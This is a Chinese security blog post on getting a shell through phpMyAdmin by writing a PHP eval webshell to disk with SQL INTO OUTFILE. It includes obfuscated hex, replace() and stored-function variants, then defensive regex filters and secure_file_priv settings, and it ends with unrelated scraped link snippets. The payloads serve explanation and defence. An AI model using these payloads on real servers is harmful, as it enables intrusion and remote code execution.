Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk
目录
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性
0x1: Mysql SQL预编译(PREPARE Syntax)
/*
1. stmt_name: The PREPARE statement prepares a SQL statement and assigns it a name, stmt_name, by which to refer to the statement later.
2. preparable_stmt: preparable_stmt is either a string literal or a user variable that contains the text of the SQL statement. The text must represent a single statement, not multiple statements.
*/
PREPARE stmt_name FROM preparable_stmt
0x2: Mysql SQL执行(EXECUTE Syntax)
EXECUTE stmt_name
[USING @var_name [, @var_name] ...]
//After preparing a statement with PREPARE, you execute it with an EXECUTE statement that refers to the prepared statement name. If the prepared statement contains any parameter markers, you must supply a USING clause that lists user variables containing the values to be bound to the parameters.
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/prepare.html
https://dev.mysql.com/doc/refman/5.0/en/execute.html
http://zone.wooyun.org/content/22606
2. 漏洞触发条件
. 已知phpmyadmin的root密码,即mysql的root密码(phpmyadmin只是通过web方式连接mysql的工具)
) mysql本身默认的弱口令
) 通过其他漏洞(例如注入)获得了mysql的root密码
. 已知网站的物理路径
) 在phpmyadmin的后台的"变量"tab页面,可以看到mysql的物理路径,从而推测出网站的物理路径
) 通过其他web漏洞获得网站的物理路径
通过phpmyadmin进行getshell的核心就是通过sql进行文件写的操作,常见的sql如下
-------
DROP TABLE IF EXISTS `a`;
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('xx');
select cmd from a into outfile 'C:/phpStudy/WWW/ali.php'
Drop TABLE IF EXISTS a;
------- -------
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
------- -------
set @strSql = replace("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/WWW/phpMyAdmin/alibaba.php'","outo","into");
prepare a from @strSql;
execute a;
------- -------
//select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
SET @SQLString = 0x73656c65637420273c3f70687020406576616c28245f504f53545b706173735d293b3f3e27494e544f204f555446494c452027643a2f77616d702f7777772f6578656861636b2e70687027;
PREPARE test FROM @SQLString;
EXECUTE test;
------- -------
//declared mysql function
use test;
delimiter $$
CREATE FUNCTION myFunction
(in_string VARCHAR())
RETURNS VARCHAR() BEGIN
DECLARE new_string VARCHAR();
SET new_string = replace(in_string,"outo","into");
RETURN(new_string);
END$$ //hack
delimiter ;
SET @SQLString = test.myFunction("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/alibaba.php'");
PREPARE test FROM @SQLString;
EXECUTE test;
-------
Relevant Link:
http://www.exehack.net/681.html
http://www.exehack.net/99.html
http://www.187299.com/archives/1695
3. 漏洞影响范围
全部phpmyadmin版本
4. 漏洞代码分析
/phpMyAdmin/import.php
所有处理用户自定义SQL解析执行的逻辑都在这个PHP文件中实现
/*
this code point is important
$import_text is the one that need to be check strictly
*/
if ($go_sql)
{
// parse sql query
include_once 'libraries/parse_analyze.inc.php'; if (isset($ajax_reload) && $ajax_reload['reload'] === true)
{
$response = PMA_Response::getInstance();
$response->addJSON('ajax_reload', $ajax_reload);
}
PMA_executeQueryAndSendQueryResponse(
$analyzed_sql_results, false, $db, $table, null, $import_text, null,
$analyzed_sql_results['is_affected'], null,
null, null, null, $goto, $pmaThemeImage, null, null, null, $sql_query,
null, null
);
}
else if ($result)
{
// Save a Bookmark with more than one queries (if Bookmark label given).
if (! empty($_POST['bkm_label']) && ! empty($import_text))
{
PMA_storeTheQueryAsBookmark(
$db, $GLOBALS['cfg']['Bookmark']['user'],
$import_text, $_POST['bkm_label'],
isset($_POST['bkm_replace']) ? $_POST['bkm_replace'] : null
);
} $response = PMA_Response::getInstance();
$response->isSuccess(true);
$response->addJSON('message', PMA_Message::success($msg));
$response->addJSON(
'sql_query',
PMA_Util::getMessage($msg, $sql_query, 'success')
);
}
else if ($result == false)
{
$response = PMA_Response::getInstance();
$response->isSuccess(false);
$response->addJSON('message', PMA_Message::error($msg));
}
else
{
$active_page = $goto;
include '' . $goto;
}
5. 防御方法
对变量$import_text进行恶意检查是我们针对phpmyadmin执行sql导出文件getshell攻击的防御思路
/phpMyAdmin/import.php
} elseif (! empty($id_bookmark)) {
// run bookmark
$import_type = 'query';
$format = 'sql';
}
//在文件的最开头进行SQL恶意检测,最大程度地兼容所有pmd的sql解析、执行逻辑
if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $import_text, $matches)) { $erromsg = "request error!" . "</br>" . $matches[]; die($erromsg); }
//file name filter
$matchResult = preg_match_all("#\b(0[xX]){0,1}[0-9a-fA-F]+\b#", $import_text, $matchs);
if($matchResult != && $matchResult != FALSE)
{
foreach ($matchs[] as $key => $value)
{
$hex = substr($value, );
$import_text_hex = hex2bin($hex);
if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)#i', strtolower($import_text_hex), $matches_1)) { $pmderromsg = "request error!" . "</br>" . $matches_1[]; die($pmderromsg); }
}
}
要特别注意的是,在使用PHP的正则匹配引擎的时候,需要考虑到换行场景下的bypass风险
还需要注意的,MYSQL存在很多扩展语法,例如
. 定义存储过程
. 定义函数
. 定义触发器
. 使用语法预处理编译
/*
prepare stmt from 'select count(*) from information_schema.schemata';
这里待编译的sql语句也可以进行字符变形以此进行bypass
execute stmt;
*/
从攻防的本质上来讲,phpmyadmin的自定义sql导出shell接口这里的修复只是防御了攻击的一条向量,黑客还可以通过其他的攻击向量发起攻击
. 通过mysql弱口令,进mysql,添加一个账户,开启远程外连
. 通过mysql命令行连接之后,通过命令行执行sql导出文件
要想做到彻底防御,要从多个角度入手进行防御
. 对phpmyadmin的/import.php进行代码层防御,禁止用户执行导出文件相关的GETSHELL
. 对mysql的弱口令密码进行健康检测,提示管理员修改密码
. 使用主动防御Hook技术,接管文件系统,禁止mysql进行写xxx.php文件
0x2: 权限ACL控制
mysql5.7以后新增了对文件操作的ACL控制
| Command-Line Format | --secure-file-priv=dir_name |
||
| System Variable | Name | secure_file_priv |
|
| Variable Scope | Global | ||
| Dynamic Variable | No | ||
| Permitted Values (<= 5.7.5) | Type | string | |
| Default | empty |
||
| Valid Values | empty |
||
dirname |
|||
| Permitted Values (>= 5.7.6) | Type | string | |
| Default | platform specific |
||
| Valid Values | empty |
||
dirname |
|||
NULL |
|||
默认情况下,利用mysql文件导出写shell会遇到如下错误

需要手工添加信任目录
Relevant Link:
http://php.net/manual/en/function.preg-match.php#111573
http://blog.sina.com.cn/s/blog_3fe961ae01013r8f.html
https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved
Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk的更多相关文章
- getshell技巧-phpMyAdmin的利用
生活就是泥沙俱下,鲜花和荆棘并存.--毕淑敏 1.明确目标2.信息收集3.漏洞挖掘和利用 信息收集 明确路径 利用目录扫描工具,对目标网站进行扫描,获取网站目录.常用工具有Kali中的DirBuste ...
- TT8509: PL/SQL execution terminated; PLSQL_TIMEOUT exceeded
TT8509: PL/SQL execution terminated; PLSQL_TIMEOUT exceeded plsql_timeout连接超时,解决办法: ODBC pl/sql选项卡 修 ...
- sql server数据库字段名要注意不能叫file
sql server数据库字段名要注意不能叫file 如java 中 private string file,这是sql 的关键字
- PL/SQL developer export/import (转)
export/import图标为灰色:原因:相关应用程序没有关联菜单栏 --> Tools --> Import Tables... --> Oracle Import Export ...
- [转载] Can't create table './store/#sql-b2c_1a.frm' (errno: 150)和sql execution error #1452添加外键时错误解决方法
Can't create table './store/#sql-b2c_1a.frm' (errno: 150)解决方法 错误原因有四: 1.外键的引用类型不一样,主键是int外键是char 2.找 ...
- Error:Execution failed for task ':app:mergeDebugResources'. > Error: Some file crunching failed, see logs for details
android studio中的资源文件命名是不能带有数字的,因为会与R类的资源ID起冲突,所以编译就发生了错误.
- Spark2.x(六十一):在Spark2.4 Structured Streaming中Dataset是如何执行加载数据源的?
本章主要讨论,在Spark2.4 Structured Streaming读取kafka数据源时,kafka的topic数据是如何被执行的过程进行分析. 以下边例子展开分析: SparkSession ...
- Python信息采集器使用轻量级关系型数据库SQLite
1,引言Python自带一个轻量级的关系型数据库SQLite.这一数据库使用SQL语言.SQLite作为后端数据库,可以搭配Python建网站,或者为python网络爬虫存储数据.SQLite还在其它 ...
- python快速教程-vamei
2016年10月26日 12:00:53 今天开始着手python的学习,希望能高效快速的学完! Python基础(上)... 7 实验简介... 7 一.实验说明... 8 1. 环境登录... 8 ...
随机推荐
- 简易安装python统计包
PythonCharm简易安装python统计包及 本文介绍使用pythonCharm IDE 来安装Python统计包或一些packages的简单过程,基本无任何技术难度,顺便提一提笔者在安装过程中 ...
- java:如何用代码控制H2 Database启动
1.纯手动start/stop package com.cnblogs.yjmyzz.h2; import java.sql.Connection; import java.sql.DriverMan ...
- mvc5 Html.EditorFor html属性有了新变化,和以前的不同了
@Html.EditorFor(model => model.MaxNumber, new { htmlAttributes = new { @min = "1" } })
- Theano2.1.5-基础知识之打印出theano的图
来自:http://deeplearning.net/software/theano/tutorial/printing_drawing.html Printing/Drawing Theano gr ...
- flash
1. 1.这种方式已经比较旧了, 2. html.push('<div class="flash-ad" style = "position:relative&qu ...
- nios II--实验5——定时器硬件部分
定时器 硬件开发 新建原理图 打开Quartus II 11.0,新建一个工程,File -> New Project Wizard…,忽略Introduction,之间单击 Next> ...
- kmp模板,线性完成pos
var p:..] of longint; i,j:longint; a,b:ansistring; begin readln(a); readln(b); P[]:=; j:=; to length ...
- java代码注释规范
java代码注释规范 代码注释是架起程序设计者与程序阅读者之间的通信桥梁,最大限度的提高团队开发合作效率.也是程序代码可维护性的重要环节之一.所以我们不是为写注释而写注释.下面说一下我们在诉求网二 ...
- koala不支持中文的解决办法(问题出现在使用中文字体时报错)
C:\Program Files\Koala\rubygems\gems\sass-3.4.9\lib\sass 这是我的koala的安装路径,在sass文件夹下打开engine.rb(文本文档打开即 ...
- 页面切换语言包使用session不用cookie
cookie的问题,ifame中的cookie不一致 在父页面设置的语言包cookie,在iframe中获取不到.为什么呢? 为什么语言包这个事跟cookie过不去,有什么特殊的? iframe的sr ...